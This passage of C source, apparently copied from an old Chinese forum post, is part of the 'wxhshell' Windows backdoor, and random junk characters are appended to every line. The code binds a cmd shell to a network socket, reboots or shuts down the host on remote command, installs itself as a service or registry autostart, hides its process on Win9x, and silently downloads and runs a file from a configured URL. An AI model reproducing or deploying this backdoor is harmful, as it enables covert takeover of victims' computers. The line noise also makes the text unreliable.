  case '?': { Ci@o|Y }tP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MK%9:wZ  
    break; "@e3EX7h  
  } =_.l8IYX$%  
  // 安装 dN$0OS`s[  
  case 'i': { e>} s;H,  
    if(Install()) NW~N}5T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); so,t   
    else Fco`^kql.D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {{$Nqn,pH  
    break; ,;EIh}  
    } 5bRJS70M  
  // 卸载 m~iXl,r  
  case 'r': { h{)kQLuzT  
    if(Uninstall()) ep!Rf:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H[6:_**?o  
    else Lu?C-$a C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mo|;'+  
    break; k0OYJ/  
    } Y+kfBvxyf  
  // 显示 wxhshell 所在路径 -$pzl,^ h  
  case 'p': { aB_F9;IR  
    char svExeFile[MAX_PATH]; EuZ<quwWg  
    strcpy(svExeFile,"\n\r"); iw3FA4{(  
      strcat(svExeFile,ExeFile); >nJ\BPx  
        send(wsh,svExeFile,strlen(svExeFile),0); F~,Mw8  
    break; &Qf/>@ l}  
    } A=$04<nP8!  
  // 重启 W>${zVu  
  case 'b': { %^?fMeI|Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y@;CF  
    if(Boot(REBOOT)) &C `Gg<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E(*0jAvO[z  
    else { J?*1*h  
    closesocket(wsh); DwM)r7<Ex  
    ExitThread(0); U\g/2dM  
    } F6|TP.VY_.  
    break; 4GkWRu1  
    } C'>|J9~Gz  
  // 关机 !S$:*5=&  
  case 'd': { z 9vInf@M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %"q9:{m  
    if(Boot(SHUTDOWN)) dcDyK!zz"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !8TlD-ZT/  
    else { MUaq7B_>  
    closesocket(wsh); +Zb;Vn4  
    ExitThread(0); (of#(I[m7  
    } qrb[-|ie&  
    break; T-'OwCB1q  
    } )MtF23k)g  
  // 获取shell w^\52  
  case 's': { 4-l 8,@9  
    CmdShell(wsh); .N,bIQnj  
    closesocket(wsh); 57'*w]4f  
    ExitThread(0); BGvre'67  
    break; G4Q[Th  
  } &agWaf1%a  
  // 退出 ` )/vq-9  
  case 'x': { [zH:1Zhl&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ncZ+gzK|"  
    CloseIt(wsh); 3OrczJ=[UF  
    break; aHV;N#Lx3  
    } G0CW}e@)  
  // 离开 "H=6j)Cb  
  case 'q': { C(eTR1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S-a]j;U  
    closesocket(wsh); ?fQ'^agq  
    WSACleanup(); .6ylZ  
    exit(1); Z-$[\le  
    break; )cX*I gO  
        } gt\E`HB8E  
  } G'nmllB`]  
  } q}b dxa  
`}D,5^9]  
  // 提示信息 [meO[otb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Giid~e33  
} ;@0;pY  
  } !eGC6o}f  
^a/gBC82x  
  return; AgWa{.`f:  
} ]V[q(-Jk  
o$wEEz*4  
// shell模块句柄 ,cXD.y  
int CmdShell(SOCKET sock) =%BSKSG.  
{ a]$1D!Anc  
STARTUPINFO si; jrCfWa}z  
ZeroMemory(&si,sizeof(si)); ML}J\7R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pf]xqhL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]l;o}+`G  
PROCESS_INFORMATION ProcessInfo; w VvF^VHV^  
char cmdline[]="cmd"; %h hfU6[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O;+ maY^l  
  return 0; NyaQI<5D  
} N,<uf@LQ  
<]6SN  
// 自身启动模式 UBv,=v  
int StartFromService(void) Bm:98? [  
{ 3RigzT3  
typedef struct 59 h]UX=  
{ kC:uG0sW  
  DWORD ExitStatus; nB_?ckj,  
  DWORD PebBaseAddress; C>]0YO k2  
  DWORD AffinityMask; raW>xOivR  
  DWORD BasePriority; g!|=%(G=  
  ULONG UniqueProcessId; k 9_`(nx  
  ULONG InheritedFromUniqueProcessId; ^dI424  
}   PROCESS_BASIC_INFORMATION; kPKB|kP\  
R]JT&p|w.1  
PROCNTQSIP NtQueryInformationProcess; ,A9]CQ  
hE &xE;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G ?9"Y%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Ym]Mj' ln  
zZ:>do\2  
  HANDLE             hProcess; bpOYHc6,*`  
  PROCESS_BASIC_INFORMATION pbi; 'g">LQ~a+  
):P?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); # ncRb  
  if(NULL == hInst ) return 0; l.(v^3:X  
*o]L|Vu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); > ;jZa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T5|q RlW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); biLs+\C  
Z EQ@IS:Y  
  if (!NtQueryInformationProcess) return 0; W1WYej"  
4%{,] q\p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zp6C3RG(  
  if(!hProcess) return 0; af6M,{F  
|e=,oV"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ay4 %  
\Yy$MLs  
  CloseHandle(hProcess); ['b}QW@Fx  
Z/G ev"p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w3N[9w?1  
if(hProcess==NULL) return 0; 0}<|7?  
3t.l5m Rg5  
HMODULE hMod; Z3%}ajPu[  
char procName[255]; #^#PPO  
unsigned long cbNeeded; [m- >5H  
SDL7<ZaE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Eu0akqZ  
We)xB  
  CloseHandle(hProcess); oph}5Krd)  
;^+\K-O]c  
if(strstr(procName,"services")) return 1; // 以服务启动 .7^c@i[  
.4S.>~^7  
  return 0; // 注册表启动 f<GhkDPm>?  
} Y h7rU?Gj  
O],T,Z?z  
// 主模块 E!;SL|lj.  
int StartWxhshell(LPSTR lpCmdLine) XYQ/^SI!:  
{ wDw[RW3  
  SOCKET wsl; N[?N5~jG  
BOOL val=TRUE; OwuE~K7b{  
  int port=0; aasoW\UG  
  struct sockaddr_in door; 5b5x!do  
|Yx~;q:  
  if(wscfg.ws_autoins) Install(); +u.1 ;qF  
\c,ap49RC  
port=atoi(lpCmdLine);  ;i4Q|  
SQ@y;|(  
if(port<=0) port=wscfg.ws_port; x;w6na  
CJtcn_.F  
  WSADATA data; .b_)%jd x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y@1+I ~@  
>d@&2FTO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uMUBh 80,L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9X[kEl  
  door.sin_family = AF_INET; u\a#{G;Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r+'qd)  
  door.sin_port = htons(port); w!#tTyk`  
02Y]`CXj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Cbc<[}  
closesocket(wsl); AJt+p&I[J  
return 1; `K*Q5n  
} Qd)q([  
uOKCAqYa  
  if(listen(wsl,2) == INVALID_SOCKET) { zy?.u.4L  
closesocket(wsl); N%kt3vmQ_  
return 1; zofa-7'Bn  
} toLV4BtIG  
  Wxhshell(wsl); #||}R[~P"  
  WSACleanup(); :1^LsLr5  
><RpEnWZ<  
return 0; ,Z aRy$?  
{SOr#{1z*  
} X1,I  
GC<l#3+  
// 以NT服务方式启动 XND|h#i8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PvzcEV  
{ 9Q.rMs>qj  
DWORD   status = 0; S O4u9V  
  DWORD   specificError = 0xfffffff; dW)B1iUo!  
2$9odD<r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ac96 [  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )(A]Ln4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q6@Lp^f  
  serviceStatus.dwWin32ExitCode     = 0; v5/~-uRL%  
  serviceStatus.dwServiceSpecificExitCode = 0; @_-hk|Nl@  
  serviceStatus.dwCheckPoint       = 0; $>G8_q  
  serviceStatus.dwWaitHint       = 0; 'g6\CZw(#  
tG:25T0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .>q8W  
  if (hServiceStatusHandle==0) return; .rO]M:UY  
S3F;(PDzy  
status = GetLastError(); C](f>)Dz /  
  if (status!=NO_ERROR) dFRsm0T  
{ 6RG)` bu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iyA'#bE-  
    serviceStatus.dwCheckPoint       = 0; VQ"hUX8  
    serviceStatus.dwWaitHint       = 0; 8H;t_B  
    serviceStatus.dwWin32ExitCode     = status; ?TM ,Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; XQ#;Zs/l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P !AEf#1  
    return; 3("_Z%  
  } f6EZ( v  
\"qY"V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vl5`U'^qx  
  serviceStatus.dwCheckPoint       = 0; b v G/|U  
  serviceStatus.dwWaitHint       = 0; t 4PK}>QW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bhID#&  
} .O74V~T  
pqk?|BvpK_  
// 处理NT服务事件,比如:启动、停止 H0:E(}@   
VOID WINAPI NTServiceHandler(DWORD fdwControl) gGvz(R: y  
{ c*(bO3 b  
switch(fdwControl) J\/cCW-rF  
{ w&X<5'GM  
case SERVICE_CONTROL_STOP: ccB&O _  
  serviceStatus.dwWin32ExitCode = 0; pSoiH<33  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +GG9^:<yr  
  serviceStatus.dwCheckPoint   = 0; ;>#wU'  
  serviceStatus.dwWaitHint     = 0; < nXL  
  { ht7l- AK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 00'%EYO  
  } :X0k]p  
  return; 7[w,:9& }  
case SERVICE_CONTROL_PAUSE: wi;Br[d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :a^t3s  
  break; C^3 <={  
case SERVICE_CONTROL_CONTINUE: N6>(;ugJ1-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j:<n+:H C  
  break; e_#._Pi  
case SERVICE_CONTROL_INTERROGATE: 7_%"BVb"  
  break; {`J)j6;  
}; Hv!U| L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mc=$/ o  
} 05z,b]>l  
kr+D,h01  
// 标准应用程序主函数 6tB+JF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E;,u2[3  
{ $g/SWq  
.}&` TU  
// 获取操作系统版本 } uO);k5H  
OsIsNt=GetOsVer(); e7@ojOQ%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0vFD3}~>  
FQm`~rA~zt  
  // 从命令行安装 >go,K{cK6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7"aN#;&  
4\y/'`xm)6  
  // 下载执行文件 2w59^"<,  
if(wscfg.ws_downexe) { mlixIW2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?a8^1:  
  WinExec(wscfg.ws_filenam,SW_HIDE); <d,b'<z s  
} LwrUQ)  
3wOZ4<B  
if(!OsIsNt) { M*!agh  
// 如果时win9x,隐藏进程并且设置为注册表启动 lU @]@_<  
HideProc(); Xp >7iX!:  
StartWxhshell(lpCmdLine); u&`XB|~  
} >CrA;\l  
else <<@bl@9'  
  if(StartFromService()) 5Eg1Q YVt  
  // 以服务方式启动 1|RANy  
  StartServiceCtrlDispatcher(DispatchTable); =5Q]m6-SgV  
else 2-7IJ\  
  // 普通方式启动 \!>3SKs(e  
  StartWxhshell(lpCmdLine); *#E F sUw  
cU;iUf  
return 0; }M1`di4e  
}
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只看该作者 1 发表于: 2006-10-10
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